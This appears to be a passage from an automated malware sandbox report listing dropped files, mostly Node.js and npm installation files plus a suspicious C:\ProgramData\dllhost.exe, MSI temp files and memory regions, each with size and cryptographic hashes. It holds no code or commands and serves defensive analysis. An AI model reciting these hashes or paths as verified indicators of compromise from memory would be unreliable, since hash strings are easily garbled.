        8a5639fd2c32fc21e52ca4ae8f5cdaab

        SHA1

        2c9226e674e56815f771a9c6bf01294c16801d28

        SHA256

        9abd31dfe1f2c010f37b4e9228012c45f09c6b54f4accb908978a45aa7f30553

        SHA512

        e7f9f0f290dfc8f9d4b0993c26c6e9f3cd956054e6a950166d718622f3fcb581aa84fcded0a6fa46c1e82ecfe4f85fc3c9a8edc1eebdc3494726e4a2299386aa

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\debug.js

        Filesize

        235B

        MD5

        f7359037c8be03092ca942dec4fb867a

        SHA1

        3cd23bbd192084c08b9bca4d7c7874baa1198751

        SHA256

        804aa8e68b8e54c523e260c311d590e6308fa312517696b927f66f84a30f0d9e

        SHA512

        3c5f7fb7c9979475f17911cc312cef8e7abf7b14cbc496f8571e0fa645138b4d6ea15893b9c46a946fb22067c8d65d44123de51a60c576c21a4a2592a2b07235

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\identifiers.js

        Filesize

        433B

        MD5

        4056b1e508bca52654ad3509be03bd9e

        SHA1

        2af3ef2a6fdf04f0e3a081409afaeedd8e37f09b

        SHA256

        1984455676a11039882414591db360998202559ea3d8641fdd4343c845c65a1b

        SHA512

        7bde1f4ab5b5b44ef6e8c81cadf2e6ad3061d7d1103c61abdecc1cbdb3c771e7a20c9c76840793162a914eb8ba6036390e8acc270348f455558ace0aa5c0a64a

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\parse-options.js

        Filesize

        339B

        MD5

        ed87cbe86144dfbeae0e2c91831164af

        SHA1

        a93996ee9b9af99634b12f69e4c22bd6f65ab0b5

        SHA256

        c691b9b39d2084e961cdcbf852aaae0d8889fa45c3a115747d85186bb3896132

        SHA512

        a4e80d4b2ed2f55078ed400818ae5fb55d96aec8c7036d7e1bdd87794980b8e92941e3f2ab5b1b2cc295d53cc4aabc31f8507370f3a611c5bd6f51243641fdcb

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\re.js

        Filesize

        7KB

        MD5

        969a3ec1897eb91138c6a779fcae50f8

        SHA1

        dc9fa4a3ce0ba39a72a741f9e16d82a201df5e9b

        SHA256

        685344c7a0b5b6aa5baba66894597f1a552d3135383465c0897032d32392427f

        SHA512

        3313e0a6d679d3345d6e90d61e092760f0abf07047dff0565398bc0f773893a849b3f88b8910211fc5e2ff8125fb8ee6296fc5b786e3a963e030fb05a9103a42

      • C:\Program Files\nodejs\node_modules\npm\node_modules\semver\package.json

        Filesize

        1KB

        MD5

        908ee832e1efb27e9faa3318cbc40675

        SHA1

        f48baa57e29980f9602f30351fd68ba2da243ce9

        SHA256

        a820020098f708cb9f785b2b0a3ed55a67c16f049040cc134a473547e573a019

        SHA512

        310efd80ef6522170afd617b9afd4a61263c4a6ec469fd63b0e67b595516b7146160a5ecd4b876f2b2dc21d93ec1ea1f53e169cc7fa3913a38fd56dfbd6cab1e

      • C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\LICENSE

        Filesize

        802B

        MD5

        d7c8fab641cd22d2cd30d2999cc77040

        SHA1

        d293601583b1454ad5415260e4378217d569538e

        SHA256

        04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be

        SHA512

        278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764

      • C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.js

        Filesize

        16KB

        MD5

        bc0c0eeede037aa152345ab1f9774e92

        SHA1

        56e0f71900f0ef8294e46757ec14c0c11ed31d4e

        SHA256

        7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5

        SHA512

        5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3

      • C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\package.json

        Filesize

        1KB

        MD5

        d116a360376e31950428ed26eae9ffd4

        SHA1

        192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b

        SHA256

        c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5

        SHA512

        5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a

      • C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\node_modules\proc-log\LICENSE

        Filesize

        757B

        MD5

        8bb6f78000746d4fa0baf4bdbf9e814e

        SHA1

        4b7049331119a63009aec376677b97c688266613

        SHA256

        a5103404e4615fa1ed46aef13082dd287bf4b95964e71ffdf198984b3d5882b8

        SHA512

        ee6874e77e33e0e0fe271ae706b344696201c1c204356e271705d9b0687bb597991c3b589d0fa6b6b38dd2933026c0996b37bc13062a5acb2fdc7f3359cdb262

      • C:\Program Files\nodejs\node_modules\npm\node_modules\walk-up-path\dist\cjs\index.js

        Filesize

        474B

        MD5

        54bd6e9d21ed6021e374d34cfaa3290c

        SHA1

        e71ef5c7bf958f1599fce51cc98a73f849659380

        SHA256

        4e86e409d7506477caee910cb50f5bff1dda477878da923bd3888501e1a04036

        SHA512

        7424455a64824b7ffe72c3ed521684d7ab279b4cabb0fc018e9db04662a92af9187efe30f5a442c3418705895262de6e057858c3cda00c634df3cbc6eebb2407

      • C:\Program Files\nodejs\node_modules\npm\node_modules\walk-up-path\package.json

        Filesize

        1KB

        MD5

        e6b2ad09f00a37da8012022f4b9e0461

        SHA1

        9af557e76ab4036536d792ca9b3c37d4720c0587

        SHA256

        2d43790293eb562918790e7fe2a786d86ed8e5a95b45d5e36587be0dbc8ddcd4

        SHA512

        9ea06c09a0837495bbae225d2913f55f53d5f81b4949bc1640d2cb460e3f61d4d39fbb88a959adc56ca7557870a069e1ec2a92b0c759b457731e93ecad8f9eb7

      • C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js

        Filesize

        17KB

        MD5

        cf8f16c1aa805000c832f879529c070c

        SHA1

        54cc4d6c9b462ad2de246e28cd80ed030504353d

        SHA256

        77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573

        SHA512

        a786e51af862470ae46ad085d33281e45795c24897e64b2c4b265302fa9cbfa47b262ec188adbc80d51cfc6ba395b500c0d7f5d343ca4fc2b828eaedba4bd29a

      • C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js

        Filesize

        15KB

        MD5

        9841536310d4e186a474dfa2acf558cd

        SHA1

        33fabbcc5e1adbe0528243eafd36e5d876aaecaa

        SHA256

        5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9

        SHA512

        b67680a81bb4b62f959ba66476723eb681614925f556689e4d7240af8216a49f0d994c31381bf6a9489151d14ed8e0d0d4d28b66f02f31188059c9b24aaa3783

      • C:\Program Files\nodejs\node_modules\npm\npmrc

        Filesize

        23B

        MD5

        33f44a02f6ef83c7eaecddaf90700236

        SHA1

        8f7a8720803e876f371ed34d6ea0a7e5521b0b49

        SHA256

        7766240e8b776a73e171752eefea357293336b1208837cff11dbb20c5a3ba17b

        SHA512

        a83211011819316bb00a511b28f32ae5af600a66c47666bdce1d2547699386df124b9da75d6229802eb68c7a378e92dc41f2d394d6f78428b30aaf31eb958d96

      • C:\Program Files\nodejs\node_modules\npm\package.json

        Filesize

        6KB

        MD5

        a635c09a3ba36d76e04158ba070c32e2

        SHA1

        6bdda03a1e34946e25fced365eb9da0df97e9e29

        SHA256

        6f1feb793d2cfd5ba2c5c9aebe4cd7dbb2d44a401b99d48b14ea3b54cdef2446

        SHA512

        cac45d9a50fe2b7b786613b3de9dea31921bce05e2bdf5edf07cc3cb6e4a947486435b5ba7b23a34b8f674b04df5d69628c6954e159e7beb6e59b00893eae818

      • C:\Program Files\nodejs\npm.cmd

        Filesize

        538B

        MD5

        6895fc6423c97fbf721a71333137d1ca

        SHA1

        e0a531a3a869f2c3bb1ea91801a8a386d6aaf73e

        SHA256

        21b46c69ad6e2f231f02a9e120f4ba6c8e75fef5a45637103002eab99f888ab8

        SHA512

        0cdaa6bbeefeabf676839d88e96a096b13b9176bd936e11665ebf01e57540e131981a7bee4f113d2b5bd6858656f7cb689d29ee81d9f9e8d7f87d2d91e041ac0

      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js documentation.url

        Filesize

        168B

        MD5

        72b8c907a5d50eb4917010e78ef8a23b

        SHA1

        a3e7ebff0927ae76cecdedb6e81422be78786bd3

        SHA256

        f6424b15af9a46f0ebef4cc2ca73a2b534ed22b2acec189ee9233fd815187e20

        SHA512

        9def64b5fedadfe38456c608be144706fea63847b5fd4f636af048b2886d88779f8b1268eac2c33e1edf9cc07deaa64de3ab5504b8a16d19e2b03b22b3a08dcc

      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js website.url

        Filesize

        133B

        MD5

        35b86e177ab52108bd9fed7425a9e34a

        SHA1

        76a1f47a10e3ab829f676838147875d75022c70c

        SHA256

        afaa6c6335bd3db79e46fb9d4d54d893cee9288e6bb4738294806a9751657319

        SHA512

        3c8047c94b789c8496af3c2502896cef2d348ee31618893b9b71244af667ec291dcb9b840f869eb984624660086db0c848d1846aa601893e6f9955e56da19f62

      • C:\ProgramData\dllhost.exe

        Filesize

        91KB

        MD5

        7c209efee5c29ea6f03e1a6b9327ce30

        SHA1

        47623966f14d85f2bb826187989aa3441e0a41f6

        SHA256

        e7b26ebd4faa32d2874b5ea6fd285c5ac2dc6ef712935b874ed805c6beb3e0a8

        SHA512

        77180fb08a7cead27dfdf4c7b76c9ccf6a4e9dd2d099b65e03cdaad5650b4459d868030458d1cfc11622785813cbd3aad073ac8daf9e83a9d5b1c348ceeebf02

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

        Filesize

        471B

        MD5

        f178cd4d7aa0c88e354bd006a1c14742

        SHA1

        9a05dc362bc2e390147840391d629e3a9ad1279a

        SHA256

        3e467597d7274c7569a6051242e26ffb5cdb270c64822038b8279049a0a5dd48

        SHA512

        a18d06d7eea34c08badce1772c0ce758747efb823ae85ff306b54e3c166501c1accfe1af1057c7aea32693e09b6e8f8c822c487e934f6fa267d88bf3fc3cc6d1

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4

        Filesize

        727B

        MD5

        739ab23156fbee0b93b70faa1ca30564

        SHA1

        db14e176b3f6bd509c3530a1b618a27d1f3b4a06

        SHA256

        0bc048b9c0f17103e34f0170adbca43b8f3831c1cb789026a3e217ebe7e314b9

        SHA512

        15cd93b18f92b319e49bd995075c23bbe9f8d5ffe394be7b8299ac095687501e88e60ed78758bb567426e306bf520ea997cd04bcbb8e6d36aabfd5defb311152

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

        Filesize

        727B

        MD5

        397ff398089ad38f837ed86c42e78205

        SHA1

        8aeb6f8664552b8486b41cbf7546219c5fc5e7d7

        SHA256

        712f75d7057e41be9228c2c7267c39993f3bd618b468d1e44c233bbe76cfed1d

        SHA512

        3ac2414e49638504a079a4e2b6ea08441fed868d1c3a3c0ae3ee99e64c6c61f03118483609751dab9da3ff5d7fa08c887661205017afd6e011d433bcbd26d0be

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

        Filesize

        400B

        MD5

        8d3eaf5848e3327835623ae27be5b7e7

        SHA1

        c15b3902a940f007ab1f38adb05722e95284353f

        SHA256

        b18a0d5e78b2b2e35d8e9d92e91b5b1f9af5450e750fb8bf789d26f014d57a29

        SHA512

        6b453108d82670019aef8398bd3d77d4f9847c3e5fa3e86f416b954a48654b9b9fb1fef8d65a5b54b6666573d763e3cbc28b385870fa31ad81206b0aa58cc655

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4

        Filesize

        404B

        MD5

        7b4e6eecdefe6c48dde3e69e9e84f4f3

        SHA1

        19a6c1d2897eb6b061ca5dabec87203f9c1ed2c0

        SHA256

        a614e09474429a232a3ed1ca7e7063a4d387b82743308ffdd915ceb7af0add48

        SHA512

        d79d5a6709ae33405763a325d552ff4517401663e2b741d2422992ca586d346cdb894af053fb522d6b500451e9cb323fe0cfb52d793be988f018ff9d066f8ed9

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

        Filesize

        412B

        MD5

        c124fbda59936f6a1c1ef45a1860c537

        SHA1

        242607dbfd75d8ce2a8eaede6d58a16417c82f2e

        SHA256

        3b9f98fce9aaa803a30b3b190bd634cb24058cea273a4abf4db3a9f9e44306e7

        SHA512

        7deff8742d1e13d40ac475de6c9072c08ea01935ed2d0eef8acc3736e3f44f5d65660cdd08cba4e562be254683260979a176a525984b5032227344570e80df18

      • C:\Users\Admin\AppData\Local\Temp\MSIB90F.tmp

        Filesize

        144KB

        MD5

        7fa9d662d634534d7c2240dd126bdeee

        SHA1

        bd01e22ed2da0d0d485824b372ac67da683863d2

        SHA256

        c0e8683b697b3c6e55deb4497d3434d6e2cc841eb8c9a1b7d3f8907cff7de206

        SHA512

        cbc737e3eb94151c9dacaa5ee780cb550176ca2be2e0c66925884b5bc6222b7bcde5ed66e881f2a76f3d26edf5331abf0e74c819ad4f5fd7d0819bc4c138bb81

      • C:\Users\Admin\AppData\Local\Temp\MSIBA29.tmp

        Filesize

        390KB

        MD5

        80bebea11fbe87108b08762a1bbff2cd

        SHA1

        a7ec111a792fd9a870841be430d130a545613782

        SHA256

        facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

        SHA512

        a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x1y34vnf.1sm.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Windows\Installer\MSI7204.tmp

        Filesize

        341KB

        MD5

        74528af81c94087506cebcf38eeab4bc

        SHA1

        20c0ddfa620f9778e9053bd721d8f51c330b5202

        SHA256

        2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34

        SHA512

        9ce76594f64ea5969fff3becf3ca239b41fc6295bb3abf8e95f04f4209bb5ccddd09c76f69e1d3986a9fe16b4f0628e4a5c51e2d2edf3c60205758c40da04dae

      • C:\Windows\Installer\e58341b.msi

        Filesize

        28.9MB

        MD5

        fa9e1f3064a66913362e9bff7097cef5

        SHA1

        b34f1f9a9f6242c54486a4bc453a9336840b4425

        SHA256

        9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

        SHA512

        ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

      • \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2

        Filesize

        24.1MB

        MD5

        a98fef24bdc3b9a4de230c1714c8487e

        SHA1

        ea1a72f4604035d7a9f3332b7fbe5430736da6b4

        SHA256

        b5c0711c107e0e69b0f6ed8cce884fddbe89c61ff93da7285ab72fa45e30fd77

        SHA512

        10b1fa1a9ddf3b9340d3b6bcc90bf7d1fb542c3606667a9f1665d2f2beb127de4ea34a1dfc668d03f92bf779ac052c0b018c1b3167941264bf0a6cd6351d98c0

      • \??\Volume{48d314f9-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{bfd11acf-a516-4fb8-936d-a416c5974c2d}_OnDiskSnapshotProp

        Filesize

        6KB

        MD5

        aaffea0287db2a5ca57c2fdf9e72c69a

        SHA1

        484ca6f9b3d6ec626e8ba1c33fd417e45add3ac1

        SHA256

        ad09eaa1c43187983240794272f45fdda1500516ce091fd73cba8b09e8919669

        SHA512

        0e5d1ef2b13e9df1392208fe4a07b2bc87bdafa7e359e6c58e810dcf62775a7f2b0b65837fc95bdb88bb7f4ea0cd2621ce5f2f265842b828708ca9cfe81e1d58

      • memory/1648-2745-0x0000000000570000-0x000000000058E000-memory.dmp

        Filesize

        120KB

      • memory/4480-2733-0x00000168DC000000-0x00000168DC022000-memory.dmp

        Filesize

        136KB